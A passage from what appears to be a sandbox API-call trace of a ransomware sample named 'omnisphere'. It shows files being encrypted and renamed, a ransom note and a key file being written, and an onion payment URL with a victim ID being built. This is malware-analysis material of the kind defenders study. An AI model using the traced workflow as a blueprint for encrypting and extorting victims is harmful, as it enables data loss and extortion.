[0126.940] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.940] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0126.940] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x27e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.940] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.941] GetProcessHeap () returned 0x1600000 [0126.941] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16ed328 [0126.941] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qqgn-lz9.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qqgn-lz9.lnk.omnisphere")) returned 1 [0126.942] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk.omnisphere.id" [0126.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qqgn-lz9.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.942] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.943] CloseHandle (hObject=0x3c0) returned 1 [0126.943] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.943] CloseHandle (hObject=0x288) returned 1 [0126.943] SetEndOfFile (hFile=0x28c) returned 1 [0126.943] FlushFileBuffers (hFile=0x28c) returned 1 [0126.946] CloseHandle (hObject=0x28c) returned 1 [0126.946] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.946] GetProcessHeap () returned 0x1600000 [0126.946] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef5e0 [0126.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.946] GetProcessHeap () returned 0x1600000 [0126.946] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5c08 [0126.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5c08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.946] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.947] GetProcessHeap () returned 0x1600000 [0126.947] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8008 [0126.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8008, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.947] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.947] GetProcessHeap () returned 0x1600000 [0126.947] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d93f0 [0126.947] PathCombineW (in: pszDest=0x16d93f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.947] GetProcessHeap () returned 0x1600000 [0126.947] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e2cb8 [0126.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.947] WriteFile (in: hFile=0x28c, lpBuffer=0x16e2cb8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e2cb8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.947] CloseHandle (hObject=0x28c) returned 1 [0126.947] GetProcessHeap () returned 0x1600000 [0126.947] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef5e0 | out: hHeap=0x1600000) returned 1 [0126.947] GetProcessHeap () returned 0x1600000 [0126.947] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.947] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.948] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.948] CloseHandle (hObject=0x28c) returned 1 [0126.948] GetProcessHeap () returned 0x1600000 [0126.948] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.948] GetProcessHeap () returned 0x1600000 [0126.948] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656c10 | out: hHeap=0x1600000) returned 1 [0126.948] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f3a5b7f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f3a5b7f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f3a5b7f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0xd3, cFileName="qtePg5pQ8.lnk", cAlternateFileName="QTEPG5~1.LNK")) returned 1 [0126.948] GetProcessHeap () returned 0x1600000 [0126.948] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656628 [0126.948] PathCombineW (in: pszDest=0x1656628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="qtePg5pQ8.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk" [0126.948] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qtepg5pq8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.948] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=961) returned 1 [0126.948] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] GetTickCount () returned 0x115fad7 [0126.949] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f88) returned 1 [0126.950] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.950] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.950] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.950] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0126.950] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c1, lpName=0x0) returned 0x288 [0126.950] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c1) returned 0x1480000 [0126.950] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668c58) returned 1 [0126.951] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16395e8) returned 1 [0126.951] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.951] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, 